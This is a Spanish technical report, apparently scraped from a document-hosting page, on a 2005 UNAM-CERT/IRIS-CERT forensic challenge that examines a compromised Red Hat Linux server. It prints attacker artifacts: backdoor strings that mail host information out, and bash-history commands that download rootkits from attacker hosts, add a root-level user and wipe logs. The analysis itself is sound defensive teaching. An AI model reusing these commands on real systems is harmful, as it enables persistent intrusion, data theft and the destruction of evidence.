Reto de Análisis Forense V2.0 UNAM – CERT / IRIS –CERT
Reto de Análisis Forense V2.0 UNAM – CERT / IRIS –CERT
Reto de Análisis Forense V2.0 UNAM – CERT / IRIS –CERT
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
<strong>Reto</strong> <strong>de</strong> <strong>Análisis</strong> <strong>Forense</strong> <strong>V2.0</strong> <strong>UNAM</strong> <strong>–</strong> <strong>CERT</strong> /<br />
<strong>IRIS</strong> <strong>–</strong><strong>CERT</strong><br />
Informe Tecnico<br />
Ing.-Juan Angel Hurtado<br />
1
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
1.- Introducción. 3<br />
1.1 - Descripción <strong>de</strong>l documento. 3<br />
1.2 - Objetivo. 3<br />
1.3 - Audiencia. 3<br />
1.4 - Resumen. 3<br />
2.- Procedimiento Aplicado. 4<br />
2.1 - Preparación <strong>de</strong>l laboratorio. 4<br />
2.2 <strong>–</strong> Búsqueda y análisis <strong>de</strong> evi<strong>de</strong>ncia. 7<br />
3 .- Resumen y resultados. 30<br />
3.1 <strong>–</strong> Resumen y resultados. 30<br />
3.2 <strong>–</strong> Perfil y motivación <strong>de</strong>l atacante. 32<br />
3.3 <strong>–</strong> Recomendaciones y conclusiones. 32<br />
4 .- Agra<strong>de</strong>cimientos. 33<br />
Anexo 1. 34<br />
Anexo 2. 35<br />
Anexo 3. 36<br />
Anexo 4. 41<br />
2
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
1.- Introducción.<br />
1.1 - Descripción <strong>de</strong>l documento.<br />
Descripción: Informe Tecnico sobre el análisis forense realizado a<br />
una plataforma Linux comprometida, como participante en el <strong>Reto</strong> <strong>de</strong><br />
<strong>Análisis</strong> <strong>Forense</strong> <strong>V2.0</strong> propuesto por <strong>UNAM</strong>-<strong>CERT</strong>/<strong>IRIS</strong>-<strong>CERT</strong> y <strong>de</strong>más<br />
convocantes.<br />
Autor: Ing. Juan Angel Hurtado Sanchez<br />
Fecha <strong>de</strong> elaboración: 18/Feb/2005<br />
1.2 - Objetivo.<br />
El presente documento tiene como fin <strong>de</strong>scribir <strong>de</strong> una forma<br />
técnica el procedimiento usado y resultados obtenidos <strong>de</strong>l análisis<br />
forense aplicado a la plataforma propuesta <strong>de</strong> modo que pueda ser<br />
usado como referencia por personas interesadas en la seguridad<br />
informática como una introducción en la realización análisis <strong>de</strong><br />
dicho tipo.<br />
1.3 - Audiencia.<br />
La audiencia pretendida es cualquier persona con conocimientos<br />
<strong>de</strong> sistemas <strong>de</strong> cómputo interesada en la seguridad <strong>de</strong> dichos<br />
sistemas. Este documento preten<strong>de</strong> ser una referencia a fin <strong>de</strong><br />
cumplir con el objetivo planteado en la convocatoria <strong>de</strong>l <strong>Reto</strong><br />
<strong>Forense</strong> <strong>V2.0</strong> (“El objetivo <strong>de</strong> este <strong>Reto</strong> <strong>Forense</strong> V2,0 es motivar el<br />
<strong>de</strong>sarrollo en el área <strong>de</strong> cómputo forense en Ibero América”).<br />
1.4 - Resumen.<br />
En atención al <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong> propuesto por <strong>UNAM</strong>-<strong>CERT</strong> /<br />
<strong>IRIS</strong> <strong>CERT</strong> se ofrece este documento que preten<strong>de</strong> ser una vista<br />
técnica <strong>de</strong>l procedimiento y resultados obtenidos. El análisis <strong>de</strong> la<br />
plataforma en cuestión fue realizado sobre una plataforma Linux<br />
Fedora Core 3 utilizando para ello los comandos <strong>de</strong>l sistema<br />
operativo (strings, cat, grep, ls, etc;), algunos scripts <strong>de</strong> autoría<br />
propia, así como el set <strong>de</strong> herramientas <strong>de</strong> “The sleuthkit” (Aun que<br />
se prefirió el uso <strong>de</strong> comandos <strong>de</strong>l SO, a fin <strong>de</strong> que quienes utilicen<br />
3
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
este documento como referencia no se formen una i<strong>de</strong>a <strong>de</strong> <strong>de</strong>pen<strong>de</strong>ncia<br />
hacia alguna herramienta). El análisis esta basado en una línea <strong>de</strong><br />
tiempo <strong>de</strong>l sistema comprometido, fechas <strong>de</strong> modificación <strong>de</strong> los<br />
archivos y la información extraída <strong>de</strong> la evi<strong>de</strong>ncia proporcionada<br />
para el <strong>Reto</strong>. Los hechos en este documento se <strong>de</strong>scriben siempre como<br />
“supuestos”, esto es <strong>de</strong>bido a que ante la imposibilidad <strong>de</strong> observar<br />
el pasado, el analista forense recaba evi<strong>de</strong>ncia y pue<strong>de</strong> “suponer”<br />
que fue lo que paso, sin embargo no pue<strong>de</strong> darse el lujo <strong>de</strong> afirmar<br />
que lo que el supone es exactamente lo que paso. Se procura evitar<br />
formular acusaciones ya que la función <strong>de</strong>l analista forense es la <strong>de</strong><br />
tratar <strong>de</strong> <strong>de</strong>scribir y reconstruir hechos, las acciones <strong>de</strong> acusar,<br />
juzgar y con<strong>de</strong>nar correspon<strong>de</strong>n a las autorida<strong>de</strong>s que cada País<br />
<strong>de</strong>stine para ello.<br />
2.- Procedimiento Aplicado.<br />
2.1 - Preparación <strong>de</strong>l laboratorio.<br />
Primero es necesario instalar el sistema anfitrión que servirá<br />
como laboratorio <strong>de</strong> trabajo. Para esto se eligió un sistema Linux<br />
Fedora Core 3 montado sobre una partición <strong>de</strong> disco <strong>de</strong> 5 GB. La<br />
instalación se siguió <strong>de</strong> acuerdo al Anaconda (Anaconda es el<br />
instalador <strong>de</strong> Fedora). La documentación acerca <strong>de</strong> Fedora pue<strong>de</strong> ser<br />
encontrada en http://fedora.redhat.com. El sistema tiene instalado a<strong>de</strong>más<br />
Windows XP, ahí se <strong>de</strong>scargaron y <strong>de</strong>scompactaron los archivos .dd a<br />
analizar por cuestiones <strong>de</strong> espacio (La partición <strong>de</strong> Windows XP es <strong>de</strong><br />
17 GB), sin embargo estos pue<strong>de</strong>n ser accesazos <strong>de</strong>s<strong>de</strong> Linux gracias a<br />
la compatibilidad con NTFS. Una vez <strong>de</strong>scompactados se obtienen los<br />
siguientes archivos:<br />
hda1.dd<br />
hda2.dd<br />
hda3.dd<br />
hda5.dd<br />
hda6.dd<br />
firmas.txt<br />
A fin <strong>de</strong> verificar que los archivos no hayan sufrido<br />
modificaciones durante la <strong>de</strong>scarga y/o <strong>de</strong>scompresión se verifica la<br />
firma <strong>de</strong> cada uno con el comando md5sum. El resultado es comparado<br />
con el contenido <strong>de</strong>l archivo firmas.txt:<br />
4
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
#md5sum hda1.dd<br />
639c0cb8e90158b96cc4f1a3acefc5f1 hda1.dd<br />
#md5sum hda2.dd<br />
a3b9a3464d6f8e2494bca7126ec621b1 hda2.dd<br />
#md5sum hda3.dd<br />
b90bbfb50821086f195054013260888c hda3.dd<br />
#md5sum hda5.dd<br />
0c5ad84632aa4d6612f21f37c5bc4c4f hda5.dd<br />
#md5sum hda6.dd<br />
eb99858c421ae0a48ac7772600dff57c hda6.dd<br />
Una firma distinta indicaría que el archivo no es idéntico al<br />
original, pudiendo ser que se <strong>de</strong>scargara completo o hubiese sido<br />
alterado. Una vez corroboradas todas las firmas, se proce<strong>de</strong> revisar<br />
los archivos .dd obtenidos (En un análisis forense completo, hubiese<br />
sido conveniente interrogar a los administradores y tomar mas<br />
evi<strong>de</strong>ncia, ante la imposibilidad <strong>de</strong> esto se proce<strong>de</strong> con el análisis<br />
<strong>de</strong>l sistema <strong>de</strong> archivos (File System) directamente). Para ello se<br />
monta el primero <strong>de</strong> los archivos .dd como un “File System” en “loop”<br />
mediante el comando mount y en modo <strong>de</strong> solo lectura para evitar<br />
alterar la “escena <strong>de</strong>l crimen”:<br />
# mount -ro,loop hda1.dd /mnt/escena/<br />
Ahora po<strong>de</strong>mos acce<strong>de</strong>r al contenido <strong>de</strong> hda1.dd a través <strong>de</strong><br />
“/mnt/escena/”, en lo consecuente las referencias a “/” (root <strong>de</strong>l<br />
sistema comprometido) serán referencias a “/mnt/escena” en el<br />
sistema anfitrión. Al acce<strong>de</strong>r nos damos cuenta que la estructura<br />
pertenece a un sistema basado en Unix (Aun que por la <strong>de</strong>scripción<br />
<strong>de</strong>l <strong>Reto</strong> <strong>de</strong> antemano sabíamos que se trataba <strong>de</strong> un sistema Linux).<br />
El contenido <strong>de</strong> hda1.dd parece correspon<strong>de</strong>r al File System raíz<br />
(root). En un primer reconocimiento ingresamos al directorio “/etc”<br />
y aplicamos el comando ls -lsa para listar el contenido <strong>de</strong>l mismo.<br />
Usando el comando “more” acce<strong>de</strong>mos al contenido <strong>de</strong> algunos archivos<br />
que nos parecen <strong>de</strong> interés. La existencia <strong>de</strong>l archivo “/etc/redhatrelease”<br />
nos muestra que el sistema pertenece a la distribución <strong>de</strong><br />
Linux Red Hat mientras que el contenido <strong>de</strong>l archivo nos muestra la<br />
versión <strong>de</strong>l mismo “Red Hat Linux release 7.3 (Valhalla)”. Otro<br />
archivo <strong>de</strong> interés es “/etc/sysconfig/network”, cuyo contenido nos<br />
muestra el nombre <strong>de</strong> la maquina “finanzas” y el gateway que<br />
utilizaba “192.168.200.254”. En “/etc/sysconfig/network-scripts/”<br />
5
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
encontramos la configuración <strong>de</strong> la interfaz “eth0” en los archivos<br />
ifcfg-eth0 y ifcfg-eth0:1, don<strong>de</strong> po<strong>de</strong>mos ver que la maquina tenia 2<br />
IP's en una sola interfaz <strong>de</strong> red física(192.168.200.128 y<br />
192.168.200.188), dichos archivos datan <strong>de</strong>l 20 <strong>de</strong> Enero y a reserva<br />
<strong>de</strong> que hubiesen sido modificados nos dan una i<strong>de</strong>a <strong>de</strong> cuando pudo<br />
haber sido el ultimo “re-boot” <strong>de</strong> la maquina. Los directorios<br />
“/etc/cron.d/” y ”/etc/cron.daily/ contienen información acerca <strong>de</strong><br />
los procesos que la maquina corría como cron, encontramos un proceso<br />
que analizaba los logs <strong>de</strong>l sistema “LogWatcher”, logwatcher es un<br />
paquete que viene con las distribuciones <strong>de</strong> RedHat, analiza los logs<br />
<strong>de</strong>l sistema operativo y envía un correo con un resumen <strong>de</strong> ellos, en<br />
este caso el correo era enviado a “root”. ”Finalmente revisamos los<br />
archivos “/etc/mtab” y “/etc/fstab” que nos muestran la distribución<br />
que tenia el File System.<br />
En “/etc/mtab” encontramos que la distribución era la<br />
siguiente:<br />
/<strong>de</strong>v/hda1 / ext3 rw 0 0<br />
none /proc proc rw 0 0<br />
usb<strong>de</strong>vfs /proc/bus/usb usb<strong>de</strong>vfs rw 0 0<br />
none /<strong>de</strong>v/pts <strong>de</strong>vpts rw,gid=5,mo<strong>de</strong>=620 0 0<br />
/<strong>de</strong>v/hda2 /home ext3 rw 0 0<br />
none /<strong>de</strong>v/shm tmpfs rw 0 0<br />
/<strong>de</strong>v/hda5 /usr ext3 rw 0 0<br />
/<strong>de</strong>v/hda3 /var ext3 rw 0 0<br />
En con esto comprobamos que el archivo hda1.dd correspon<strong>de</strong> al<br />
file system “/”, ahora sabemos a<strong>de</strong>más que hda2.dd correspon<strong>de</strong> a<br />
“/home”, hda3.dd a “/var” y hda5.dd a “/usr”. En “/etc/fstab”<br />
encontramos a<strong>de</strong>más que hda6.dd estaba <strong>de</strong>stinado a “swap”. Con esto<br />
ya po<strong>de</strong>mos reconstruir todo el file system usando el comando “mount”<br />
como lo hicimos con hda1.dd, dado que durante el análisis tendremos<br />
que montar y <strong>de</strong>smontar los dd con cierta frecuencia realizamos dos<br />
scripts para automatizar la tarea (Únicamente hda6.dd no será<br />
montado por tratarse <strong>de</strong> “swap”). Dichos scripts aparecen en este<br />
mismo documento en el Anexo 1. Instalamos a<strong>de</strong>más las herramientas<br />
que usaremos para el análisis (Sleuthkit y Autopsy) las herramientas<br />
y las instrucciones para su instalación pue<strong>de</strong>n ser encontradas en<br />
6
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
http://www.sleuthkit.org.<br />
Finalmente pluma y papel para tomar notas y con esto ya<br />
tenemos nuestro laboratorio listo. Montamos los File System’s a<br />
analizar con nuestro script “monta.sh” (En el Anexo 1 encontrara<br />
información para modificar el script a su conveniencia):<br />
#./monta.sh<br />
Po<strong>de</strong>mos ahora iniciar la búsqueda y análisis <strong>de</strong> evi<strong>de</strong>ncia.<br />
2.2 <strong>–</strong> Búsqueda y análisis <strong>de</strong> evi<strong>de</strong>ncia.<br />
La fecha <strong>de</strong> los archivos “/etc/sysconfig/networkscripts/ifcfg-eth0”<br />
y “/etc/sysconfig/network-scripts/ifcfg-eth0:1”<br />
nos indica la ultima vez que se iniciaron los servicios <strong>de</strong> red en el<br />
sistema, lo cual pue<strong>de</strong> ser un indicativo <strong>de</strong> la ultima vez que se reinicio<br />
el equipo (Mas a<strong>de</strong>lante buscaremos evi<strong>de</strong>ncia <strong>de</strong> ello).<br />
sabemos que las imágenes estuvieron disponibles a partir <strong>de</strong>l 1 <strong>de</strong><br />
Febrero <strong>de</strong>l año en curso por lo que <strong>de</strong> momento suponemos que el<br />
ataque sucedió entre el 20 <strong>de</strong> Enero y el 1 <strong>de</strong> Febrero <strong>de</strong> este año.<br />
Nos dirigimos a “/var/log” a fin <strong>de</strong> analizar los log's <strong>de</strong>l<br />
equipo, sin embargo encontramos que no existen log's en dicho<br />
directorio solamente se encuentran dos archivos:<br />
# ls -lsa<br />
total 44<br />
24 -rwxr-xr-x 1 root root 24056 Jan 29 15:26<br />
4 drwxr-xr-x 2 root root 4096 Jan 31 04:02 .<br />
4 drwxr-xr-x 20 root root 4096 Jan 20 09:57 ..<br />
12 -rw-r--r-- 1 root root 9209 Jan 31 04:02 rpmpkgs<br />
El archivo rpmpkgs contiene las firmas <strong>de</strong> los paquetes que<br />
originalmente han sido instalados en la maquina, una practica<br />
interesante es verificar que las firmas correspondan a lo que se<br />
tiene actualmente instalado (De esa forma es posible <strong>de</strong>tectar si<br />
algún programa a sido adulterado), sin embargo el archivo rpmpkgs<br />
<strong>de</strong>l sistema aparece con fecha 31 <strong>de</strong> Enero, como anteriormente<br />
supusimos que el ataque se dio entre el 20 <strong>de</strong> Enero y el 1 <strong>de</strong><br />
Febrero existe posibilidad que dicho archivo haya sido adulterado<br />
para burlar el análisis forense, por tanto <strong>de</strong> momento <strong>de</strong>scartamos<br />
7
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
dicho ejercicio. Por otro lado resulta bastante sospechosa la primer<br />
línea ya que muestra un archivo con nombre “ “ (vació) <strong>de</strong> fecha ENE-<br />
29, pudiendo ser algún programa que el atacante tratara <strong>de</strong> ocultar<br />
nombrándolo <strong>de</strong> esa forma. El comando “more” nos muestra que no se<br />
trata <strong>de</strong> un archivo <strong>de</strong> texto asi que <strong>de</strong> momento vaciamos el<br />
contenido <strong>de</strong>l archivo mediante la sentencia “strings < “ “ ><br />
archivomisterioso.txt”. Al analizar el contenido <strong>de</strong><br />
“archivomisterioso.xtx” encontramos que probablemente sea una<br />
herramienta utilizada por el atacante para abrir un backdoor, <strong>de</strong><br />
momento guardamos la información y continuamos con el análisis, las<br />
siguientes líneas fueron encontradas en dicho archivo.<br />
socket<br />
bind<br />
listen<br />
Port for Alinutu :P<br />
PID = %d<br />
touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> /tmp/.info;<br />
cat /etc/*release >> /tmp/.info; /sbin/ifconfig | grep inet >><br />
/tmp/.info; cat /tmp/.info | mail -s 'Port nou'<br />
radautiteam@yahoo.com<br />
/usr/tmp<br />
/<strong>de</strong>v/null<br />
HOME=%s<br />
Nu pot forta PTY, pa-pa!<br />
Los archivos contenidos en “/var/log” indican que el atacante<br />
probablemente llego a tener privilegios <strong>de</strong> superusario y haya<br />
borrado los archivos <strong>de</strong> log <strong>de</strong> la maquina. Trataremos <strong>de</strong> recuperar<br />
lo que sea posible <strong>de</strong> estos archivos <strong>de</strong> los archivos hda3.dd y<br />
hda6.dd, damos un primer vistazo con el comando “strings < hda3.dd |<br />
grep 'finanzas' | more”, aplicamos también para hda6.dd (swap). El<br />
buscar ca<strong>de</strong>nas <strong>de</strong> texto basados en patrones también va a ser una<br />
tarea que haremos varias veces durante el análisis, asi que usaremos<br />
un pequeño script <strong>de</strong> autoría propia para ello.<br />
El script hecho en perl aparece en el Anexo 2 <strong>de</strong> este<br />
documento, básicamente le daremos un archivo <strong>de</strong> entrada, uno <strong>de</strong><br />
salida y el patrón a buscar, lo que hará el strip será buscar en el<br />
archivo <strong>de</strong> entrada aquellas líneas que contengan la palabra clave y<br />
las <strong>de</strong>positara en el archivo <strong>de</strong> salida, usaremos como patrón <strong>de</strong><br />
búsqueda la palabra “finanzas”, que es el nombre <strong>de</strong>l host's según lo<br />
encontramos anteriormente:<br />
#./parser.pl finanzas hda3.dd finanzashda3dd.txt &<br />
#./parser.pl finanzas hda6.dd finanzashda6dd.txt &<br />
8
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
Mientras que <strong>de</strong> hda6.dd no obtuvimos mas que 3 líneas sin<br />
relevancia, <strong>de</strong> hda3.dd (Que es el File System que originalmente<br />
contenía los log's) pudimos recuperar fragmentos <strong>de</strong> los archivos <strong>de</strong><br />
“log” <strong>de</strong> la maquina. El log recuperado confirma que la maquina<br />
sufrió un “re-boot” el 20 <strong>de</strong> Enero alre<strong>de</strong>dor <strong>de</strong> las 16:33 (Tiempo <strong>de</strong><br />
la Ciudad <strong>de</strong> México según el reloj <strong>de</strong>l sistema comprometido, todos<br />
los tiempos serán referentes a esta zona horaria ya que es la que se<br />
encontró en el archivo /etc/sysconfig/clock <strong>de</strong> la maquina).<br />
Alre<strong>de</strong>dor <strong>de</strong> las 16:44 levanta los servicios <strong>de</strong> MySQL, un Web Server<br />
(Probablemente Apache), sendmail, cron, anacron, y ssh. Casi una<br />
hora mas tar<strong>de</strong> comienza un ataque <strong>de</strong> diccionario (Password<br />
Guessing), un ataque <strong>de</strong> este tipo intenta adivinar el password<br />
(Haciendo conexiones vía ssh en este caso) probando posibles<br />
combinaciones <strong>de</strong> usuarios/passwords provenientes <strong>de</strong> una lista hecha<br />
(diccionario), el ataque proviene <strong>de</strong> varios orígenes y duraría<br />
varios días. Dado que no encontramos log’s en el equipo revisamos el<br />
archivo “/var/mail/root” puesto que según data en los directorios<br />
“/etc/cron.d” y “/etc/cron.daily” en la maquina corrían varios<br />
procesos que generaban estadísticos <strong>de</strong>l sistema (Logwatcher) y los<br />
enviaban por correo a root, esperamos que el superusuario root aun<br />
conserve alguno <strong>de</strong> ellos. Descubrimos que dicho archivo contiene<br />
bastante información <strong>de</strong>l ataque <strong>de</strong> diccionario, sin embargo al<br />
revisar <strong>de</strong> forma mas <strong>de</strong>tallada el archivo “/var/mail/root” nos damos<br />
cuenta <strong>de</strong> que entre intentos se repiten los usuarios, probablemte el<br />
atacante este dando vueltas al mismo diccionario, o varios<br />
atacantes estén usando el mismo diccionario. Por esta razón<br />
<strong>de</strong>scartamos que el inci<strong>de</strong>nte se haya producido a partir <strong>de</strong> dicho<br />
ataque (Ya que el (los) atacante(s) estuvieron repitiendo el mismo<br />
diccionario), aun asi se anexa en este mismo documento un resumen <strong>de</strong><br />
dicho ataque en el Anexo 4.<br />
Continuando con el archivo “/var/mail/root”, existen correos<br />
<strong>de</strong>l Log Watcher hasta el 29 <strong>de</strong> Enero a las 4:02 AM, curiosamente a<br />
partir <strong>de</strong>l mismo 29 pero a las 15:30 horas aparecen mensajes como el<br />
que sigue:<br />
From root Sat Jan 29 15:30:00 2005<br />
Return-Path: <br />
Received: (from root@localhost)<br />
by localhost.localdomain (8.11.6/8.11.6) id j0TLU0H24846<br />
9
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
for root; Sat, 29 Jan 2005 15:30:00 -0600<br />
Date: Sat, 29 Jan 2005 15:30:00 -0600<br />
Message-Id: <br />
From: root@localhost.localdomain (Cron Daemon)<br />
To: root@localhost.localdomain<br />
Subject: Cron /usr/lib/sa/sa1 1 1<br />
X-Cron-Env: <br />
X-Cron-Env: <br />
X-Cron-Env: <br />
X-Cron-Env: <br />
Cannot open /var/log/sa/sa29: No such file or directory<br />
Los mensajes continúan hasta el día 31 <strong>de</strong> Enero a las 15:20.<br />
Ahora bien, tenemos actividad <strong>de</strong>l log-watcher hasta el día 29<br />
(Cuando procesó los logs <strong>de</strong>l día anterior 28 <strong>de</strong> Enero), el mismo día<br />
29 la herramienta sysstat que corría cada 10 min. según el archivo<br />
“/etc/cron.d/sysstat” comienza a reportarla falta <strong>de</strong> archivos en el<br />
directorio <strong>de</strong> “/var/log” a partir <strong>de</strong> las 15:30, en el mismo<br />
directorio se encontró una herramienta <strong>de</strong> Hacking oculta bajo el<br />
nombre “ “ (vació), dicha herramienta data <strong>de</strong>l mismo día 29 <strong>de</strong> Enero<br />
a las 15:26. Partiendo <strong>de</strong> esto generamos dos ejercicios <strong>de</strong><br />
investigación, por un lado generamos una lista <strong>de</strong> archivos cuya<br />
fecha <strong>de</strong> sea 29 <strong>de</strong> Enero, y por otro lado utilizamos nuestro script<br />
para buscar <strong>de</strong>ntro <strong>de</strong> hda3.dd y hda6.dd usando el patrón 'Jan 29',<br />
los comandos a utilizar son:<br />
1) #ls -lRsa /mnt/escena/ | grep 'Jan 29' > $HOME/archivos<strong>de</strong>l29.txt<br />
2) #parser.pl 'Jan 29' hda3.dd Jan29hda3.txt<br />
3) #parser.pl 'Jan 29' hda6.dd Jan29hda6.txt<br />
Una vez que or<strong>de</strong>namos y <strong>de</strong>puramos los resultados que nos<br />
genera el comando 1 (Dicha lista aparece completa en el Anexo 3),<br />
encontramos la siguiente cronología:<br />
A las 4:02 AM se ejecuta el webalizer (Que es un analizador <strong>de</strong> logs<br />
para Web Server's).<br />
A las 15:16 una serie <strong>de</strong> archivos en el directorio /<strong>de</strong>v/ accedidos,<br />
llama la atención también el /bin/gawk, por otro lado se encuentran<br />
los archivos /<strong>de</strong>v/hdx1 y /<strong>de</strong>v/hdx2, estos archivos son creados por<br />
el virus RST.b:<br />
10
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
29 ene 15:16 /bin/gawk-3.1.0<br />
29 ene 15:16 /bin/gawk<br />
29 ene 15:16 /<strong>de</strong>v/hdx2<br />
29 ene 15:16 /<strong>de</strong>v/hdx1<br />
A las 15:17 aparecen los siguientes archivos, parecen indicar la<br />
creación <strong>de</strong>l un usuario “weed”:<br />
29 ene 15:17 disco1/home<br />
29 ene 15:17 disco1/var/spool/mail/weed<br />
29 ene 15:17 disco1/home/weed<br />
29 ene 15:17 disco1/home<br />
29 ene 15:17 disco1/home/lost? ..<br />
29 ene 15:17 disco1/home/Contador ..<br />
29 ene 15:17 disco1/home/weed/.bashrc<br />
29 ene 15:17 disco1/home/weed/.bash_profile<br />
29 ene 15:17 disco1/home/weed/.bash_logout<br />
Entre 15:20 y 15:21 una gran cantidad <strong>de</strong> archivos en /usr/inclu<strong>de</strong><br />
son modificados. Posteriormente a las 15:22 aparecen archivos<br />
.bash_history en “/root” a las 15:25, se modifican una varios<br />
archivos <strong>de</strong>ntro <strong>de</strong> “/etc” y aparece otro “bash_history” esta ves en<br />
“/”. Analicemos ahora la actividad que quedo registrada en los<br />
.bash_history siendo el primero el encontrado en “/root” que se<br />
cerro a las 15:22. y el segundo el que se encuentra en “/” que se<br />
cerro a las 15:27, ambos pertenecieron al súper usuario “root”. Se<br />
intercalan comentarios en rojo:<br />
----------- Archivo /root/.bash_history-----------------<br />
ls lista el contenido <strong>de</strong>l directorio<br />
dir lista el contenido <strong>de</strong>l directorio<br />
ps xc lista los procesos que corren bajo el usuario (root en este<br />
caso)<br />
wget xhack.150m.com/sc.tgz <strong>de</strong>scarga sc.tgz <strong>de</strong>s<strong>de</strong> xhack.150m.com,<br />
este archivo contiene un colección <strong>de</strong> “shell co<strong>de</strong>s” o utilerías para<br />
el hacker, con varios propósitos <strong>de</strong>s<strong>de</strong> expulsar la unidad <strong>de</strong> CD-<br />
ROOM, evadir IDS, ejecutar código etc;<br />
tar -zxvf sc.tgz <strong>de</strong>sempaqueta el contenido <strong>de</strong> sc.tgz<br />
cd sc ingresa al directorio sc<br />
./inst instala lo que parece ser un sniffer que se carga en memoria.<br />
Este archivo estaba contenido en sc.tgz<br />
./sk ejecuta el script sk, con esto pone un funcion el sniffer<br />
w lista a los usuarios que se encuentran logueados en la maquina,<br />
11
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
probablemente para ver quien esta con el en ese momento.<br />
wget xhack.150m.com/https Descarga <strong>de</strong>l mismo sitio el script “https”<br />
perl https Ejecuta el script “https” que aparenta ser un perl script<br />
que funge como backdoor contiene funciones <strong>de</strong> cliente <strong>de</strong> IRC, la<br />
configuración <strong>de</strong>l mismo le permitiría conectarse a eu.un<strong>de</strong>rnet.org y<br />
ejecutar algunas funciones como escaneo <strong>de</strong> puertos y ejecución <strong>de</strong> un<br />
ataques y comandos <strong>de</strong> manera remota. Al analizar el script<br />
básicamente se <strong>de</strong>duce que al ejecutarlo se conecta a<br />
eu.un<strong>de</strong>rnet.org como el usuario “bitch”, el atacante entonces pue<strong>de</strong><br />
iniciar una conversación con el y a través <strong>de</strong> el ejecutar comandos,<br />
escáner puertos y/o ejecutar ataques.<br />
cd ..<br />
rmrm -rf sc* Elimina la evi<strong>de</strong>ncia acerca <strong>de</strong> sc.tgz.<br />
----------- Archivo /.bash_history-----------------<br />
id Verifica la i<strong>de</strong>ntidad <strong>de</strong>l usuario<br />
/usr/sbin/adduser -g 0 -u 0 -o weed Agrega un usuario “weed” con<br />
privilegios <strong>de</strong> root. Probablemente para conservar el acceso remoto<br />
al equipo.<br />
passwd weed Asigna password a el usuario “weed”<br />
/sbin/ifconfig | grep "inet" Verifica las IP’s <strong>de</strong>l equipo<br />
ls <strong>–</strong>sa Lista el contenido <strong>de</strong>l directorio.<br />
dir Lista el contenido <strong>de</strong>l directorio.<br />
/usr/sbin/user<strong>de</strong>l weed Elimina al usuario que acaba <strong>de</strong> crear.<br />
ls <strong>–</strong>sa Lista el contenido <strong>de</strong>l directorio.<br />
dir Lista el contenido <strong>de</strong>l directorio.<br />
rm -rf za* Elimina todo archivo o directorio que comienza con “za”.<br />
rm -rf own Elimina todo archivo o directorio “own”.<br />
/usr/sbin/adduser -g 0 -u 0 -o weed Vuelve a crear el usuario<br />
“weed”.<br />
passwd weed Assign password a el usuario “weed”<br />
wget www.zetu.as.ro/crk.tar.gz Descarga “crk.tar.gz”. Este archivo<br />
contiene un rootkit y un backdoor, este archivo trae algunas cosas<br />
bastante interesantes que <strong>de</strong>tallamos mas abajo. Un análisis con el<br />
antivirus nos muestra que estos archivos están infectados con alguna<br />
variante <strong>de</strong>l virus RST.b<br />
tar xzvf crk.tar.gz Desempaqueta el archivo.<br />
cd crk Ingresa al directorio crk.<br />
./install eliteaza 1 Ejecuta el instalador, el primer argumento es<br />
un password a usarse par realizar conexiones <strong>de</strong> ssh, el segundo<br />
argumento es el puerto en que se levanta el backdoor <strong>de</strong> ssh. Este<br />
script <strong>de</strong>be <strong>de</strong> ser ejecutado como root revisando el código <strong>de</strong>l shell<br />
script “install” encontramos las siguientes líneas:<br />
12
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
killall -9 syslogd (Esta linea mata el syslog)<br />
rm -rf /var/log/* (Esta linea elimina los logs)<br />
